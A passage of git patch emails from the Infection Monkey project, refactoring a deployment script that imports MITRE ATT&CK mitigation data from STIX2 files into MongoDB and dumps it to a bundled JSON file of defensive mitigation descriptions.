return database + + +def collection_exists(mongodb: pymongo.MongoClient, collection_name: str) -> bool: + collections = mongodb.list_collection_names() + return collection_name in collections + + +def clean_collection(mongodb: pymongo.MongoClient, collection_name: str): + if collection_exists(mongodb, collection_name): + mongodb.drop_collection(collection_name) + + +def main(): + mongodb = connect_to_mongo(args.mongo_host, args.mongo_port, args.database_name) + + clean_collection(mongodb, args.collection_name) + + +if __name__ == "__main__": + main() From 7bcfc6d27adddc857261f9dabea073e36d0f65bb Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Sep 2021 11:46:32 -0400 Subject: [PATCH 278/454] Deployment: Make dump_attack_mitigations.py executable --- deployment_scripts/dump_attack_mitigations.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 deployment_scripts/dump_attack_mitigations.py diff --git a/deployment_scripts/dump_attack_mitigations.py b/deployment_scripts/dump_attack_mitigations.py old mode 100644 new mode 100755 From 38f50641a55ded53406a8a1cc3d4b3121bc2e951 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Sep 2021 12:01:16 -0400 Subject: [PATCH 279/454] Deployment: Wrap argument parsing in function --- deployment_scripts/dump_attack_mitigations.py | 63 ++++++++++--------- 1 file changed, 33 insertions(+), 30 deletions(-) diff --git a/deployment_scripts/dump_attack_mitigations.py b/deployment_scripts/dump_attack_mitigations.py index 39885d469..6ca92f8b7 100755 --- a/deployment_scripts/dump_attack_mitigations.py +++ b/deployment_scripts/dump_attack_mitigations.py @@ -2,36 +2,38 @@ import argparse import pymongo -parser = argparse.ArgumentParser(description="Export attack mitigations from a database") -parser.add_argument( - "-host", "--mongo_host", default="localhost", help="URL for mongo database.", required=False -) -parser.add_argument( - "-port", - "--mongo_port", - action="store", - default=27017, - type=int, - help="Port for mongo database. Default 27017", - required=False, -) -parser.add_argument( - "-db", - "--database_name", - action="store", - default="monkeyisland", - help="Database name inside of mongo.", - required=False, -) -parser.add_argument( - "-cn", - "--collection_name", - action="store", - default="attack_mitigations", - help="Which collection are we going to export", - required=False, -) -args = parser.parse_args() + +def parse_args(): + parser = argparse.ArgumentParser(description="Export attack mitigations from a database") + parser.add_argument( + "-host", "--mongo_host", default="localhost", help="URL for mongo database.", required=False + ) + parser.add_argument( + "-port", + "--mongo_port", + action="store", + default=27017, + type=int, + help="Port for mongo database. Default 27017", + required=False, + ) + parser.add_argument( + "-db", + "--database_name", + action="store", + default="monkeyisland", + help="Database name inside of mongo.", + required=False, + ) + parser.add_argument( + "-cn", + "--collection_name", + action="store", + default="attack_mitigations", + help="Which collection are we going to export", + required=False, + ) + return parser.parse_args() def connect_to_mongo(mongo_host: str, mongo_port: int, database_name: str) -> pymongo.MongoClient: @@ -51,6 +53,7 @@ def clean_collection(mongodb: pymongo.MongoClient, collection_name: str): def main(): + args = parse_args() mongodb = connect_to_mongo(args.mongo_host, args.mongo_port, args.database_name) clean_collection(mongodb, args.collection_name) From 82c83858634523d3f19e363702d5d982fdc19c71 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Sep 2021 12:02:52 -0400 Subject: [PATCH 280/454] Deployment: Reorder functions in dump_attack_mitigations.py --- deployment_scripts/dump_attack_mitigations.py | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/deployment_scripts/dump_attack_mitigations.py b/deployment_scripts/dump_attack_mitigations.py index 6ca92f8b7..573d54d9d 100755 --- a/deployment_scripts/dump_attack_mitigations.py +++ b/deployment_scripts/dump_attack_mitigations.py @@ -3,6 +3,13 @@ import argparse import pymongo +def main(): + args = parse_args() + mongodb = connect_to_mongo(args.mongo_host, args.mongo_port, args.database_name) + + clean_collection(mongodb, args.collection_name) + + def parse_args(): parser = argparse.ArgumentParser(description="Export attack mitigations from a database") parser.add_argument( @@ -42,21 +49,14 @@ def connect_to_mongo(mongo_host: str, mongo_port: int, database_name: str) -> py return database -def collection_exists(mongodb: pymongo.MongoClient, collection_name: str) -> bool: - collections = mongodb.list_collection_names() - return collection_name in collections - - def clean_collection(mongodb: pymongo.MongoClient, collection_name: str): if collection_exists(mongodb, collection_name): mongodb.drop_collection(collection_name) -def main(): - args = parse_args() - mongodb = connect_to_mongo(args.mongo_host, args.mongo_port, args.database_name) - - clean_collection(mongodb, args.collection_name) +def collection_exists(mongodb: pymongo.MongoClient, collection_name: str) -> bool: + collections = mongodb.list_collection_names() + return collection_name in collections if __name__ == "__main__": From 6de33bfd572045ffaef822b4c9eee4d35dfcec9c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Sep 2021 14:18:58 -0400 Subject: [PATCH 281/454] Deployment: Import ATT&CK data into mongo --- deployment_scripts/attack_mitigations.py | 65 +++++++++ deployment_scripts/dump_attack_mitigations.py | 125 ++++++++++++++---- 2 files changed, 167 insertions(+), 23 deletions(-) create mode 100644 deployment_scripts/attack_mitigations.py diff --git a/deployment_scripts/attack_mitigations.py b/deployment_scripts/attack_mitigations.py new file mode 100644 index 000000000..95e3a09e6 --- /dev/null +++ b/deployment_scripts/attack_mitigations.py @@ -0,0 +1,65 @@ +from typing import Dict + +from mongoengine import Document, EmbeddedDocument, EmbeddedDocumentField, ListField, StringField +from stix2 import AttackPattern, CourseOfAction + + +class Mitigation(EmbeddedDocument): + name = StringField(required=True) + description = StringField(required=True) + url = StringField() + + @staticmethod + def get_from_stix2_data(mitigation: CourseOfAction): + name = mitigation["name"] + description = mitigation["description"] + url = get_stix2_external_reference_url(mitigation) + return Mitigation(name=name, description=description, url=url) + + +class AttackMitigations(Document): + technique_id = StringField(required=True, primary_key=True) + mitigations = ListField(EmbeddedDocumentField("Mitigation")) + + def add_mitigation(self, mitigation: CourseOfAction): + mitigation_external_ref_id = get_stix2_external_reference_id(mitigation) + if mitigation_external_ref_id.startswith("M"): + self.mitigations.append(Mitigation.get_from_stix2_data(mitigation)) + + def add_no_mitigations_info(self, mitigation: CourseOfAction): + mitigation_external_ref_id = get_stix2_external_reference_id(mitigation) + if mitigation_external_ref_id.startswith("T") and len(self.mitigations) == 0: + mitigation_mongo_object = Mitigation.get_from_stix2_data(mitigation) + mitigation_mongo_object["description"] = mitigation_mongo_object[ + "description" + ].splitlines()[0] + mitigation_mongo_object["url"] = "" + self.mitigations.append(mitigation_mongo_object) + + @staticmethod + def dict_from_stix2_attack_patterns(stix2_dict: Dict[str, AttackPattern]): + return { + key: AttackMitigations.mitigations_from_attack_pattern(attack_pattern) + for key, attack_pattern in stix2_dict.items() + } + + @staticmethod + def mitigations_from_attack_pattern(attack_pattern: AttackPattern): + return AttackMitigations( + technique_id=get_stix2_external_reference_id(attack_pattern), + mitigations=[], + ) + + +def get_stix2_external_reference_url(stix2_data) -> str: + for reference in stix2_data["external_references"]: + if "url" in reference: + return reference["url"] + return "" + + +def get_stix2_external_reference_id(stix2_data) -> str: + for reference in stix2_data["external_references"]: + if reference["source_name"] == "mitre-attack" and "external_id" in reference: + return reference["external_id"] + return "" diff --git a/deployment_scripts/dump_attack_mitigations.py b/deployment_scripts/dump_attack_mitigations.py index 573d54d9d..a8c164ca5 100755 --- a/deployment_scripts/dump_attack_mitigations.py +++ b/deployment_scripts/dump_attack_mitigations.py @@ -1,62 +1,141 @@ import argparse +from pathlib import Path +from typing import Dict, List +import mongoengine import pymongo +from attack_mitigations import AttackMitigations +from bson import json_util +from stix2 import AttackPattern, CourseOfAction, FileSystemSource, Filter + +COLLECTION_NAME = "attack_mitigations" def main(): args = parse_args() - mongodb = connect_to_mongo(args.mongo_host, args.mongo_port, args.database_name) - clean_collection(mongodb, args.collection_name) + set_default_mongo_connection(args.database_name, args.mongo_host, args.mongo_port) + + mongo_client = pymongo.MongoClient(host=args.mongo_host, port=args.mongo_port) + database = mongo_client.get_database(args.database_name) + + clean_collection(database) + populate_attack_mitigations(database, Path(args.cti_repo)) + dump_attack_mitigations(database, Path(args.dump_file_path)) def parse_args(): - parser = argparse.ArgumentParser(description="Export attack mitigations from a database") - parser.add_argument( - "-host", "--mongo_host", default="localhost", help="URL for mongo database.", required=False + parser = argparse.ArgumentParser( + description="Export attack mitigations from a database", + formatter_class=argparse.ArgumentDefaultsHelpFormatter, ) parser.add_argument( - "-port", - "--mongo_port", + "--mongo_host", default="localhost", help="URL for mongo database.", required=False + ) + parser.add_argument( + "--mongo-port", action="store", default=27017, type=int, - help="Port for mongo database. Default 27017", + help="Port for mongo database.", required=False, ) parser.add_argument( - "-db", - "--database_name", + "--database-name", action="store", default="monkeyisland", help="Database name inside of mongo.", required=False, ) parser.add_argument( - "-cn", - "--collection_name", + "--cti-repo", action="store", default="attack_mitigations", - help="Which collection are we going to export", + help="The path to the Cyber Threat Intelligence Repository.", + required=True, + ) + parser.add_argument( + "--dump-file-path", + action="store", + default="./attack_mitigations.json", + help="A file path where the database dump will be saved.", required=False, ) + return parser.parse_args() -def connect_to_mongo(mongo_host: str, mongo_port: int, database_name: str) -> pymongo.MongoClient: - client = pymongo.MongoClient(host=mongo_host, port=mongo_port) - database = client.get_database(database_name) - return database +def set_default_mongo_connection(database_name: str, host: str, port: int): + mongoengine.connect(db=database_name, host=host, port=port) -def clean_collection(mongodb: pymongo.MongoClient, collection_name: str): - if collection_exists(mongodb, collection_name): - mongodb.drop_collection(collection_name) +def clean_collection(database: pymongo.database.Database): + if collection_exists(database, COLLECTION_NAME): + database.drop_collection(COLLECTION_NAME) -def collection_exists(mongodb: pymongo.MongoClient, collection_name: str) -> bool: - collections = mongodb.list_collection_names() - return collection_name in collections +def collection_exists(database: pymongo.database.Database, collection_name: str) -> bool: + return collection_name in database.list_collection_names() + + +def populate_attack_mitigations(database: pymongo.database.Database, cti_repo: Path): + database.create_collection(COLLECTION_NAME) + attack_data_path = cti_repo / "enterprise-attack" + + stix2_mitigations = get_all_mitigations(attack_data_path) + mongo_mitigations = AttackMitigations.dict_from_stix2_attack_patterns( + get_all_attack_techniques(attack_data_path) + ) + mitigation_technique_relationships = get_technique_and_mitigation_relationships( + attack_data_path + ) + for relationship in mitigation_technique_relationships: + mongo_mitigations[relationship["target_ref"]].add_mitigation( + stix2_mitigations[relationship["source_ref"]] + ) + for relationship in mitigation_technique_relationships: + mongo_mitigations[relationship["target_ref"]].add_no_mitigations_info( + stix2_mitigations[relationship["source_ref"]] + ) + for key, mongo_object in mongo_mitigations.items(): + mongo_object.save() + + +def get_all_mitigations(attack_data_path: Path) -> Dict[str, CourseOfAction]: + file_system = FileSystemSource(attack_data_path) + mitigation_filter = [Filter("type", "=", "course-of-action")] + all_mitigations = file_system.query(mitigation_filter) + all_mitigations = {mitigation["id"]: mitigation for mitigation in all_mitigations} + return all_mitigations + + +def get_all_attack_techniques(attack_data_path: Path) -> Dict[str, AttackPattern]: + file_system = FileSystemSource(attack_data_path) + technique_filter = [Filter("type", "=", "attack-pattern")] + all_techniques = file_system.query(technique_filter) + all_techniques = {technique["id"]: technique for technique in all_techniques} + return all_techniques + + +def get_technique_and_mitigation_relationships(attack_data_path: Path) -> List[CourseOfAction]: + file_system = FileSystemSource(attack_data_path) + technique_filter = [ + Filter("type", "=", "relationship"), + Filter("relationship_type", "=", "mitigates"), + ] + all_techniques = file_system.query(technique_filter) + return all_techniques + + +def dump_attack_mitigations(database: pymongo.database.Database, dump_file_path: Path): + if not collection_exists(database, COLLECTION_NAME): + raise Exception(f"Could not find collection: {COLLECTION_NAME}") + + collection = database.get_collection(COLLECTION_NAME) + collection_contents = collection.find() + + with open(dump_file_path, "wb") as jsonfile: + jsonfile.write(json_util.dumps(collection_contents).encode()) if __name__ == "__main__": From 36b13d0db980fac9da5e5d68ded145ee0788f62a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 29 Sep 2021 14:35:15 +0200 Subject: [PATCH 282/454] Island: Remove attack-data submodule Removed submodule with its fork. Remove usage of the submodule. Fixed monkey_island.spec Added attack_mitigations dump. Added hook for above file. --- .gitmodules | 3 -- .../cc/services/attack/attack_data | 1 - .../cc/services/attack/mitre_api_interface.py | 38 ------------------- .../cc/setup/mongo/attack_mitigations.json | 1 + .../cc/setup/mongo/database_initializer.py | 19 +--------- monkey/monkey_island/monkey_island.spec | 2 +- .../attack/test_mitre_api_interface.py | 24 +++++++----- 7 files changed, 18 insertions(+), 70 deletions(-) delete mode 160000 monkey/monkey_island/cc/services/attack/attack_data create mode 100644 monkey/monkey_island/cc/setup/mongo/attack_mitigations.json diff --git a/.gitmodules b/.gitmodules index 2fb33dd37..814297e5c 100644 --- a/.gitmodules +++ b/.gitmodules @@ -1,6 +1,3 @@ -[submodule "monkey/monkey_island/cc/services/attack/attack_data"] - path = monkey/monkey_island/cc/services/attack/attack_data - url = https://github.com/guardicore/cti [submodule "docs/themes/learn"] path = docs/themes/learn url = https://github.com/guardicode/hugo-theme-learn.git diff --git a/monkey/monkey_island/cc/services/attack/attack_data b/monkey/monkey_island/cc/services/attack/attack_data deleted file mode 160000 index fb8942b1a..000000000 --- a/monkey/monkey_island/cc/services/attack/attack_data +++ /dev/null @@ -1 +0,0 @@ -Subproject commit fb8942b1a10f4e734ed75542f2ccae7cbd72c46d diff --git a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py index 596f4d498..48ecb7c9a 100644 --- a/monkey/monkey_island/cc/services/attack/mitre_api_interface.py +++ b/monkey/monkey_island/cc/services/attack/mitre_api_interface.py @@ -1,42 +1,4 @@ -import os -from typing import Dict, List - -from stix2 import AttackPattern, CourseOfAction, FileSystemSource, Filter - -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH - - class MitreApiInterface: - ATTACK_DATA_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "services", "attack", "attack_data", "enterprise-attack" - ) - - @staticmethod - def get_all_mitigations() -> Dict[str, CourseOfAction]: - file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) - mitigation_filter = [Filter("type", "=", "course-of-action")] - all_mitigations = file_system.query(mitigation_filter) - all_mitigations = {mitigation["id"]: mitigation for mitigation in all_mitigations} - return all_mitigations - - @staticmethod - def get_all_attack_techniques() -> Dict[str, AttackPattern]: - file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) - technique_filter = [Filter("type", "=", "attack-pattern")] - all_techniques = file_system.query(technique_filter) - all_techniques = {technique["id"]: technique for technique in all_techniques} - return all_techniques - - @staticmethod - def get_technique_and_mitigation_relationships() -> List[CourseOfAction]: - file_system = FileSystemSource(MitreApiInterface.ATTACK_DATA_PATH) - technique_filter = [ - Filter("type", "=", "relationship"), - Filter("relationship_type", "=", "mitigates"), - ] - all_techniques = file_system.query(technique_filter) - return all_techniques - @staticmethod def get_stix2_external_reference_id(stix2_data) -> str: for reference in stix2_data["external_references"]: diff --git a/monkey/monkey_island/cc/setup/mongo/attack_mitigations.json b/monkey/monkey_island/cc/setup/mongo/attack_mitigations.json new file mode 100644 index 000000000..d851d2435 --- /dev/null +++ b/monkey/monkey_island/cc/setup/mongo/attack_mitigations.json @@ -0,0 +1 @@ +[{"_id": "T1066", "mitigations": [{"name": "Indicator Removal from Tools Mitigation", "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.", "url": ""}]}, {"_id": "T1047", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1156", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1113", "mitigations": [{"name": "Screen Capture Mitigation", "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1067", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Boot Integrity", "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", "url": "https://attack.mitre.org/mitigations/M1046"}]}, {"_id": "T1037", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1033", "mitigations": [{"name": "System Owner/User Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1143", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1161", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1150", "mitigations": [{"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1148", "mitigations": [{"name": "Environment Variable Permissions", "description": "Prevent modification of environment variables by unauthorized users and groups.", "url": "https://attack.mitre.org/mitigations/M1039"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1003", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Privileged Process Integrity", "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", "url": "https://attack.mitre.org/mitigations/M1025"}, {"name": "Credential Access Protection", "description": "Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.", "url": "https://attack.mitre.org/mitigations/M1043"}, {"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1129", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1492", "mitigations": [{"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}]}, {"_id": "T1006", "mitigations": [{"name": "File System Logical Offsets Mitigation", "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1044", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Control", "description": "Configure Windows User Account Control to mitigate risk of adversaries obtaining elevated process access.", "url": "https://attack.mitre.org/mitigations/M1052"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1171", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1014", "mitigations": [{"name": "Rootkit Mitigation", "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1501", "mitigations": [{"name": "Limit Software Installation", "description": "Block users or groups from installing unapproved software.", "url": "https://attack.mitre.org/mitigations/M1033"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1514", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1123", "mitigations": [{"name": "Audio Capture Mitigation", "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.", "url": ""}]}, {"_id": "T1133", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}]}, {"_id": "T1109", "mitigations": [{"name": "Component Firmware Mitigation", "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique.", "url": ""}]}, {"_id": "T1539", "mitigations": [{"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1099", "mitigations": [{"name": "Timestomp Mitigation", "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1069", "mitigations": [{"name": "Permission Groups Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about groups and permissions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1114", "mitigations": [{"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1163", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1025", "mitigations": [{"name": "Data from Removable Media Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1116", "mitigations": [{"name": "Code Signing Mitigation", "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)", "url": ""}]}, {"_id": "T1522", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1093", "mitigations": [{"name": "Process Hollowing Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. ", "url": ""}]}, {"_id": "T1172", "mitigations": [{"name": "SSL/TLS Inspection", "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.", "url": "https://attack.mitre.org/mitigations/M1020"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1178", "mitigations": [{"name": "Active Directory Configuration", "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", "url": "https://attack.mitre.org/mitigations/M1015"}]}, {"_id": "T1013", "mitigations": [{"name": "Port Monitors Mitigation", "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.", "url": ""}]}, {"_id": "T1192", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1489", "mitigations": [{"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1121", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1206", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, 